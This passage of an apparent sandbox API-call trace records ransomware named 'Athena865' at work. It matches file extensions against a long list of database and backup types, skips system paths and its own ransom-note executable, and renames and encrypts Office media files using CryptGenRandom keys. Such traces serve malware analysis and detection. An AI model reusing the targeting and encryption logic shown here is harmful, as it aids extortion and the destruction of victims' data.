(lpString1="WAV", lpString2="mrg") returned 1 [0152.916] lstrlenW (lpString="mud") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="mud") returned 1 [0152.916] lstrlenW (lpString="mwb") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="mwb") returned 1 [0152.916] lstrlenW (lpString="myd") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="myd") returned 1 [0152.916] lstrlenW (lpString="ndf") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="ndf") returned 1 [0152.916] lstrlenW (lpString="nnt") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="nnt") returned 1 [0152.916] lstrlenW (lpString="nrmlib") returned 6 [0152.916] lstrcmpiW (lpString1="ER.WAV", lpString2="nrmlib") returned -1 [0152.916] lstrlenW (lpString="ns2") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="ns2") returned 1 [0152.916] lstrlenW (lpString="ns3") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="ns3") returned 1 [0152.916] lstrlenW (lpString="ns4") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="ns4") returned 1 [0152.916] lstrlenW (lpString="nsf") returned 3 [0152.916] lstrcmpiW (lpString1="WAV", lpString2="nsf") returned 1 [0152.917] lstrlenW (lpString="nv") returned 2 [0152.917] lstrcmpiW (lpString1="AV", lpString2="nv") returned -1 [0152.917] lstrlenW (lpString="nv2") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="nv2") returned 1 [0152.917] lstrlenW (lpString="nwdb") returned 4 [0152.917] lstrcmpiW (lpString1=".WAV", lpString2="nwdb") returned -1 [0152.917] lstrlenW (lpString="nyf") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="nyf") returned 1 [0152.917] lstrlenW (lpString="odb") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.917] lstrlenW (lpString="odb") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="odb") returned 1 [0152.917] lstrlenW (lpString="oqy") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="oqy") returned 1 [0152.917] lstrlenW (lpString="ora") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="ora") returned 1 [0152.917] lstrlenW (lpString="orx") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="orx") returned 1 [0152.917] lstrlenW (lpString="owc") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="owc") returned 1 [0152.917] lstrlenW (lpString="p96") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="p96") returned 1 [0152.917] lstrlenW (lpString="p97") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="p97") returned 1 [0152.917] lstrlenW (lpString="pan") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="pan") returned 1 [0152.917] lstrlenW (lpString="pdb") returned 3 [0152.917] lstrcmpiW (lpString1="WAV", lpString2="pdb") returned 1 [0152.917] lstrlenW (lpString="pdm") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="pdm") returned 1 [0152.918] lstrlenW (lpString="pnz") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="pnz") returned 1 [0152.918] lstrlenW (lpString="qry") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="qry") returned 1 [0152.918] lstrlenW (lpString="qvd") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="qvd") returned 1 [0152.918] lstrlenW (lpString="rbf") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="rbf") returned 1 [0152.918] lstrlenW (lpString="rctd") returned 4 [0152.918] lstrcmpiW (lpString1=".WAV", lpString2="rctd") returned -1 [0152.918] lstrlenW (lpString="rod") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="rod") returned 1 [0152.918] lstrlenW (lpString="rodx") returned 4 [0152.918] lstrcmpiW (lpString1=".WAV", lpString2="rodx") returned -1 [0152.918] lstrlenW (lpString="rpd") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="rpd") returned 1 [0152.918] lstrlenW (lpString="rsd") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="rsd") returned 1 [0152.918] lstrlenW (lpString="sas7bdat") returned 8 [0152.918] lstrcmpiW (lpString1="MMER.WAV", lpString2="sas7bdat") returned -1 [0152.918] lstrlenW (lpString="sbf") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="sbf") returned 1 [0152.918] lstrlenW (lpString="scx") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="scx") returned 1 [0152.918] lstrlenW (lpString="sdb") returned 3 [0152.918] lstrcmpiW (lpString1="WAV", lpString2="sdb") returned 1 [0152.918] lstrlenW (lpString="sdc") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="sdc") returned 1 [0152.919] lstrlenW (lpString="sdf") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="sdf") returned 1 [0152.919] lstrlenW (lpString="sis") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="sis") returned 1 [0152.919] lstrlenW (lpString="spq") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="spq") returned 1 [0152.919] lstrlenW (lpString="te") returned 2 [0152.919] lstrcmpiW (lpString1="AV", lpString2="te") returned -1 [0152.919] lstrlenW (lpString="teacher") returned 7 [0152.919] lstrcmpiW (lpString1="MER.WAV", lpString2="teacher") returned -1 [0152.919] lstrlenW (lpString="tmd") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="tmd") returned 1 [0152.919] lstrlenW (lpString="tps") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="tps") returned 1 [0152.919] lstrlenW (lpString="trc") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.919] lstrlenW (lpString="trc") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="trc") returned 1 [0152.919] lstrlenW (lpString="trm") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="trm") returned 1 [0152.919] lstrlenW (lpString="udb") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="udb") returned 1 [0152.919] lstrlenW (lpString="udl") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="udl") returned 1 [0152.919] lstrlenW (lpString="usr") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="usr") returned 1 [0152.919] lstrlenW (lpString="v12") returned 3 [0152.919] lstrcmpiW (lpString1="WAV", lpString2="v12") returned 1 [0152.920] lstrlenW (lpString="vis") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="vis") returned 1 [0152.920] lstrlenW (lpString="vpd") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="vpd") returned 1 [0152.920] lstrlenW (lpString="vvv") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="vvv") returned 1 [0152.920] lstrlenW (lpString="wdb") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="wdb") returned -1 [0152.920] lstrlenW (lpString="wmdb") returned 4 [0152.920] lstrcmpiW (lpString1=".WAV", lpString2="wmdb") returned -1 [0152.920] lstrlenW (lpString="wrk") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="wrk") returned -1 [0152.920] lstrlenW (lpString="xdb") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="xdb") returned -1 [0152.920] lstrlenW (lpString="xld") returned 3 [0152.920] lstrcmpiW (lpString1="WAV", lpString2="xld") returned -1 [0152.920] lstrlenW (lpString="xmlff") returned 5 [0152.920] lstrcmpiW (lpString1="R.WAV", lpString2="xmlff") returned -1 [0152.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.Athena865") returned 69 [0152.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.athena865"), dwFlags=0x1) returned 1 [0152.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.924] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4028) returned 1 [0152.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.924] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.925] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.925] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.925] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c0, lpName=0x0) returned 0x154 [0152.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c0) returned 0x100000 [0152.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.930] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.930] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0152.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0152.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.930] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.930] CloseHandle (hObject=0x154) returned 1 [0152.931] CloseHandle (hObject=0x17c) returned 1 [0152.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.931] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40f5d20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xd40f5d20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0152.931] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0152.931] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2=".") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="..") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="windows") returned -1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="bootmgr") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="temp") returned -1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="pagefile.sys") returned -1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="boot") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="ids.txt") returned 1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="ntuser.dat") returned -1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="perflogs") returned -1 [0152.931] lstrcmpiW (lpString1="LASER.WAV", lpString2="MSBuild") returned -1 [0152.931] lstrlenW (lpString="LASER.WAV") returned 9 [0152.931] lstrcpyW (in: lpString1=0x241e8aa, lpString2="LASER.WAV" | out: lpString1="LASER.WAV") returned="LASER.WAV" [0152.932] lstrlenW (lpString="LASER.WAV") returned 9 [0152.932] lstrlenW (lpString="Athena865") returned 9 [0152.932] lstrlenW (lpString=".dll") returned 4 [0152.932] lstrcmpiW (lpString1="LASER.WAV", lpString2=".dll") returned 1 [0152.932] lstrlenW (lpString=".lnk") returned 4 [0152.932] lstrcmpiW (lpString1="LASER.WAV", lpString2=".lnk") returned 1 [0152.932] lstrlenW (lpString=".ini") returned 4 [0152.932] lstrcmpiW (lpString1="LASER.WAV", lpString2=".ini") returned 1 [0152.932] lstrlenW (lpString=".sys") returned 4 [0152.932] lstrcmpiW (lpString1="LASER.WAV", lpString2=".sys") returned 1 [0152.932] lstrlenW (lpString="LASER.WAV") returned 9 [0152.932] lstrlenW (lpString="bak") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="bak") returned 1 [0152.932] lstrlenW (lpString="ba_") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="ba_") returned 1 [0152.932] lstrlenW (lpString="dbb") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="dbb") returned 1 [0152.932] lstrlenW (lpString="vmdk") returned 4 [0152.932] lstrcmpiW (lpString1=".WAV", lpString2="vmdk") returned -1 [0152.932] lstrlenW (lpString="rar") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="rar") returned 1 [0152.932] lstrlenW (lpString="zip") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="zip") returned -1 [0152.932] lstrlenW (lpString="tgz") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="tgz") returned 1 [0152.932] lstrlenW (lpString="vbox") returned 4 [0152.932] lstrcmpiW (lpString1=".WAV", lpString2="vbox") returned -1 [0152.932] lstrlenW (lpString="vdi") returned 3 [0152.932] lstrcmpiW (lpString1="WAV", lpString2="vdi") returned 1 [0152.933] lstrlenW (lpString="vhd") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="vhd") returned 1 [0152.933] lstrlenW (lpString="vhdx") returned 4 [0152.933] lstrcmpiW (lpString1=".WAV", lpString2="vhdx") returned -1 [0152.933] lstrlenW (lpString="avhd") returned 4 [0152.933] lstrcmpiW (lpString1=".WAV", lpString2="avhd") returned -1 [0152.933] lstrlenW (lpString="db") returned 2 [0152.933] lstrcmpiW (lpString1="AV", lpString2="db") returned -1 [0152.933] lstrlenW (lpString="db2") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="db2") returned 1 [0152.933] lstrlenW (lpString="db3") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="db3") returned 1 [0152.933] lstrlenW (lpString="dbf") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="dbf") returned 1 [0152.933] lstrlenW (lpString="mdf") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="mdf") returned 1 [0152.933] lstrlenW (lpString="mdb") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="mdb") returned 1 [0152.933] lstrlenW (lpString="sql") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="sql") returned 1 [0152.933] lstrlenW (lpString="sqlite") returned 6 [0152.933] lstrcmpiW (lpString1="ER.WAV", lpString2="sqlite") returned -1 [0152.933] lstrlenW (lpString="sqlite3") returned 7 [0152.933] lstrcmpiW (lpString1="SER.WAV", lpString2="sqlite3") returned -1 [0152.933] lstrlenW (lpString="sqlitedb") returned 8 [0152.933] lstrcmpiW (lpString1="ASER.WAV", lpString2="sqlitedb") returned -1 [0152.933] lstrlenW (lpString="xml") returned 3 [0152.933] lstrcmpiW (lpString1="WAV", lpString2="xml") returned -1 [0152.933] lstrlenW (lpString="$er") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="$er") returned 1 [0152.934] lstrlenW (lpString="4dd") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="4dd") returned 1 [0152.934] lstrlenW (lpString="4dl") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="4dl") returned 1 [0152.934] lstrlenW (lpString="^^^") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="^^^") returned 1 [0152.934] lstrlenW (lpString="abs") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="abs") returned 1 [0152.934] lstrlenW (lpString="abx") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="abx") returned 1 [0152.934] lstrlenW (lpString="accdb") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accdb") returned 1 [0152.934] lstrlenW (lpString="accdc") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accdc") returned 1 [0152.934] lstrlenW (lpString="accde") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accde") returned 1 [0152.934] lstrlenW (lpString="accdr") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accdr") returned 1 [0152.934] lstrlenW (lpString="accdt") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accdt") returned 1 [0152.934] lstrlenW (lpString="accdw") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accdw") returned 1 [0152.934] lstrlenW (lpString="accft") returned 5 [0152.934] lstrcmpiW (lpString1="R.WAV", lpString2="accft") returned 1 [0152.934] lstrlenW (lpString="adb") returned 3 [0152.934] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.934] lstrlenW (lpString="adb") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="adb") returned 1 [0152.935] lstrlenW (lpString="ade") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="ade") returned 1 [0152.935] lstrlenW (lpString="adf") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="adf") returned 1 [0152.935] lstrlenW (lpString="adn") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="adn") returned 1 [0152.935] lstrlenW (lpString="adp") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="adp") returned 1 [0152.935] lstrlenW (lpString="alf") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="alf") returned 1 [0152.935] lstrlenW (lpString="ask") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="ask") returned 1 [0152.935] lstrlenW (lpString="btr") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="btr") returned 1 [0152.935] lstrlenW (lpString="cat") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="cat") returned 1 [0152.935] lstrlenW (lpString="cdb") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="cdb") returned 1 [0152.935] lstrlenW (lpString="ckp") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="ckp") returned 1 [0152.935] lstrlenW (lpString="cma") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="cma") returned 1 [0152.935] lstrlenW (lpString="cpd") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="cpd") returned 1 [0152.935] lstrlenW (lpString="dacpac") returned 6 [0152.935] lstrcmpiW (lpString1="ER.WAV", lpString2="dacpac") returned 1 [0152.935] lstrlenW (lpString="dad") returned 3 [0152.935] lstrcmpiW (lpString1="WAV", lpString2="dad") returned 1 [0152.936] lstrlenW (lpString="dadiagrams") returned 10 [0152.936] lstrlenW (lpString="daschema") returned 8 [0152.936] lstrcmpiW (lpString1="ASER.WAV", lpString2="daschema") returned -1 [0152.936] lstrlenW (lpString="db-journal") returned 10 [0152.936] lstrlenW (lpString="db-shm") returned 6 [0152.936] lstrcmpiW (lpString1="ER.WAV", lpString2="db-shm") returned 1 [0152.936] lstrlenW (lpString="db-wal") returned 6 [0152.936] lstrcmpiW (lpString1="ER.WAV", lpString2="db-wal") returned 1 [0152.936] lstrlenW (lpString="dbc") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dbc") returned 1 [0152.936] lstrlenW (lpString="dbs") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dbs") returned 1 [0152.936] lstrlenW (lpString="dbt") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dbt") returned 1 [0152.936] lstrlenW (lpString="dbv") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dbv") returned 1 [0152.936] lstrlenW (lpString="dbx") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dbx") returned 1 [0152.936] lstrlenW (lpString="dcb") returned 3 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dcb") returned 1 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dct") returned 1 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="dcx") returned 1 [0152.936] lstrcmpiW (lpString1="WAV", lpString2="ddl") returned 1 [0152.936] lstrcmpiW (lpString1=".WAV", lpString2="dlis") returned -1 [0152.937] lstrcmpiW (lpString1="WAV", lpString2="dp1") returned 1 [0152.937] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.Athena865") returned 68 [0152.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.athena865"), dwFlags=0x1) returned 1 [0152.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0152.938] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1837) returned 1 [0152.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0152.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0152.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54f078 [0152.939] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54f100) returned 1 [0152.940] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0152.940] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.940] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa30, lpName=0x0) returned 0x154 [0152.941] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa30) returned 0x100000 [0152.943] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54f100) returned 1 [0152.944] CryptGenRandom (in: hProv=0x54f100, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0152.944] CryptReleaseContext (hProv=0x54f100, dwFlags=0x0) returned 1 [0152.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0152.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0152.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0152.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0152.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0152.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0152.944] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0152.945] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0152.945] CloseHandle (hObject=0x154) returned 1 [0152.945] CloseHandle (hObject=0x17c) returned 1 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54f078 | out: hHeap=0x4f0000) returned 1 [0152.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0152.945] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2=".") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="..") returned 1 [0152.945] lstrcmpiW (lpString1="PUSH.WAV", lpString2="windows") returned -1 [0152.945] lstrcmpiW 